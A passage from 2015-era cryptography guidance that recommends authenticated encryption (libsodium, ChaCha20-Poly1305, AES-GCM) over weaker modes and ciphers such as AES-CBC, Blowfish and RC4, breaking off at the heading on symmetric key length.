**Encrypting data** (*Was: AES-CTR with HMAC*): Use, in order of preference: (1) The Nacl/libsodium default, (2) Chacha20-Poly1305, or (3) AES-GCM. 

*You care about this if: you're hiding information from users or the network.*

All three options get you "AEAD", which is the only way you want to encrypt in 2015. Options (2) and (3) are morally the same thing: a stream cipher with a polynomial ("thermonuclear CRC") MAC. Option (2) gets there with a native stream cipher and a MAC optimized for general purpose CPUs; Poly1305 is also easier than GCM for library designers to implement safely. Option (3)'s AES-GCM is the industry standard; it's fast and usually hardware accelerated on modern processors, but has implementation safety pitfalls on platforms that aren't accelerated.

*Avoid: AES-CBC, AES-CTR by itself, block ciphers with 64-bit blocks --- most especially Blowfish, which is inexplicably popular, OFB mode. Don't ever use RC4, which is comically broken.*

**Symmetric key length** (*Was: Use 256 bit keys*
